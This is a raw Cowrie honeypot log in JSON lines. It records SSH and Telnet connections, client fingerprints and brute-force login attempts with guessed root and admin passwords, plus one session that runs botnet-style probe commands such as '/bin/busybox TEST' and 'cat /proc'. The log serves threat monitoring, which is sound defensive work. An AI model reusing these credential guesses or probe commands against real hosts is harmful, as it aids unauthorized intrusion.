{"eventid":"cowrie.session.connect","src_ip":"149.34.216.141","src_port":53683,"dst_ip":"159.203.135.109","dst_port":23,"session":"4612aefbf503","protocol":"telnet","message":"New connection: 149.34.216.141:53683 (159.203.135.109:23) [session: 4612aefbf503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:20:13.032017Z"}
{"eventid":"cowrie.session.closed","duration":120.00564980506897,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:20:17.181680Z","src_ip":"149.34.216.141","session":"c6018300fabb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.34.216.141","src_port":53906,"dst_ip":"159.203.135.109","dst_port":23,"session":"a64ada19168a","protocol":"telnet","message":"New connection: 149.34.216.141:53906 (159.203.135.109:23) [session: a64ada19168a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:20:18.545621Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":44966,"dst_ip":"159.203.135.109","dst_port":22,"session":"52782b886c0c","protocol":"ssh","message":"New connection: 51.250.105.222:44966 (159.203.135.109:22) [session: 52782b886c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:20:28.025126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:20:28.030432Z","src_ip":"51.250.105.222","session":"52782b886c0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:20:28.161482Z","src_ip":"51.250.105.222","session":"52782b886c0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:20:28.563892Z","src_ip":"51.250.105.222","session":"52782b886c0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:20:29.694679Z","src_ip":"51.250.105.222","session":"52782b886c0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":42266,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffaa7ae0311b","protocol":"ssh","message":"New connection: 62.133.62.83:42266 (10.17.0.5:22) [session: ffaa7ae0311b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:20:37.183724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:20:37.189809Z","src_ip":"62.133.62.83","session":"ffaa7ae0311b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:20:37.272938Z","src_ip":"62.133.62.83","session":"ffaa7ae0311b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"barmaley","message":"login attempt [root/barmaley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:20:37.522507Z","src_ip":"62.133.62.83","session":"ffaa7ae0311b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:20:38.605234Z","src_ip":"62.133.62.83","session":"ffaa7ae0311b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53276,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee78a5e9165e","protocol":"telnet","message":"New connection: 135.148.14.151:53276 (159.203.135.109:23) [session: ee78a5e9165e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:20:40.918285Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54232,"dst_ip":"159.203.135.109","dst_port":23,"session":"f56b9e0346c1","protocol":"telnet","message":"New connection: 135.148.14.151:54232 (159.203.135.109:23) [session: f56b9e0346c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:20:46.221862Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38208,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c0b7b421cb9","protocol":"telnet","message":"New connection: 135.148.14.151:38208 (159.203.135.109:23) [session: 8c0b7b421cb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:11.670413Z"}
{"eventid":"cowrie.session.closed","duration":37.32159495353699,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:18.239781Z","src_ip":"135.148.14.151","session":"ee78a5e9165e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.97203612327576,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:20.193785Z","src_ip":"135.148.14.151","session":"f56b9e0346c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.56.209.112","src_port":46962,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4eb26f5adab","protocol":"telnet","message":"New connection: 31.56.209.112:46962 (10.17.0.5:23) [session: b4eb26f5adab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:42.764732Z"}
{"eventid":"cowrie.session.closed","duration":0.005224943161010742,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:42.769811Z","src_ip":"31.56.209.112","session":"b4eb26f5adab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.56.209.112","src_port":46978,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a58a3ffe955","protocol":"telnet","message":"New connection: 31.56.209.112:46978 (10.17.0.5:23) [session: 6a58a3ffe955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:42.845559Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:43.344548Z","src_ip":"31.56.209.112","session":"6a58a3ffe955","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.4987494945526123,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:44.344212Z","src_ip":"31.56.209.112","session":"6a58a3ffe955","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.56.209.112","src_port":46980,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c0efd9ae89c","protocol":"telnet","message":"New connection: 31.56.209.112:46980 (10.17.0.5:23) [session: 8c0efd9ae89c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:44.425674Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:44.926796Z","src_ip":"31.56.209.112","session":"8c0efd9ae89c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.5008184909820557,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:45.926337Z","src_ip":"31.56.209.112","session":"8c0efd9ae89c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.56.209.112","src_port":47004,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac52f789e6a7","protocol":"telnet","message":"New connection: 31.56.209.112:47004 (10.17.0.5:23) [session: ac52f789e6a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:46.006062Z"}
{"eventid":"cowrie.session.closed","duration":34.74476981163025,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:46.415009Z","src_ip":"135.148.14.151","session":"8c0b7b421cb9","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:46.509771Z","src_ip":"31.56.209.112","session":"ac52f789e6a7","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:46.563254Z","src_ip":"31.56.209.112","session":"ac52f789e6a7","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:47.509726Z","src_ip":"31.56.209.112","session":"ac52f789e6a7","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:48.008654Z","src_ip":"31.56.209.112","session":"ac52f789e6a7","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:48.609971Z","src_ip":"31.56.209.112","session":"ac52f789e6a7","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:49.209544Z","src_ip":"31.56.209.112","session":"ac52f789e6a7","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:49.213767Z","src_ip":"31.56.209.112","session":"ac52f789e6a7","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"3.2","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:49.812442Z","src_ip":"31.56.209.112","session":"ac52f789e6a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.820648193359375,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:49.826624Z","src_ip":"31.56.209.112","session":"ac52f789e6a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":44436,"dst_ip":"159.203.135.109","dst_port":22,"session":"6328faaac61b","protocol":"ssh","message":"New connection: 103.173.227.57:44436 (159.203.135.109:22) [session: 6328faaac61b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:54.846544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:54.850957Z","src_ip":"103.173.227.57","session":"6328faaac61b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:55.103886Z","src_ip":"103.173.227.57","session":"6328faaac61b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":41258,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb0dce225a6c","protocol":"telnet","message":"New connection: 179.102.17.221:41258 (159.203.135.109:23) [session: fb0dce225a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:55.645120Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":41262,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e502ae52cc5","protocol":"telnet","message":"New connection: 179.102.17.221:41262 (159.203.135.109:23) [session: 3e502ae52cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:55.717753Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:55.867855Z","src_ip":"103.173.227.57","session":"6328faaac61b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:21:57.126261Z","src_ip":"103.173.227.57","session":"6328faaac61b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":32882,"dst_ip":"159.203.135.109","dst_port":22,"session":"3af3dd77f7f9","protocol":"ssh","message":"New connection: 194.113.233.25:32882 (159.203.135.109:22) [session: 3af3dd77f7f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:22:01.541530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:22:01.547385Z","src_ip":"194.113.233.25","session":"3af3dd77f7f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:22:01.648069Z","src_ip":"194.113.233.25","session":"3af3dd77f7f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"220587","message":"login attempt [root/220587] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:22:01.931758Z","src_ip":"194.113.233.25","session":"3af3dd77f7f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":41246,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbc7b0eaa84f","protocol":"telnet","message":"New connection: 179.102.17.221:41246 (159.203.135.109:23) [session: cbc7b0eaa84f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:22:02.580287Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:22:03.027924Z","src_ip":"194.113.233.25","session":"3af3dd77f7f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":32786,"dst_ip":"159.203.135.109","dst_port":23,"session":"3acfd26943c5","protocol":"telnet","message":"New connection: 135.148.14.151:32786 (159.203.135.109:23) [session: 3acfd26943c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:22:03.615036Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":51020,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b21a1b54d89","protocol":"ssh","message":"New connection: 94.159.98.239:51020 (159.203.135.109:22) [session: 7b21a1b54d89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:22:06.193486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:22:06.346752Z","src_ip":"94.159.98.239","session":"7b21a1b54d89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:22:06.353667Z","src_ip":"94.159.98.239","session":"7b21a1b54d89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23021990","message":"login attempt [root/23021990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:22:07.349396Z","src_ip":"94.159.98.239","session":"7b21a1b54d89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:22:08.535466Z","src_ip":"94.159.98.239","session":"7b21a1b54d89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34576,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc2248f859a3","protocol":"telnet","message":"New connection: 135.148.14.151:34576 (159.203.135.109:23) [session: cc2248f859a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:22:08.614360Z"}
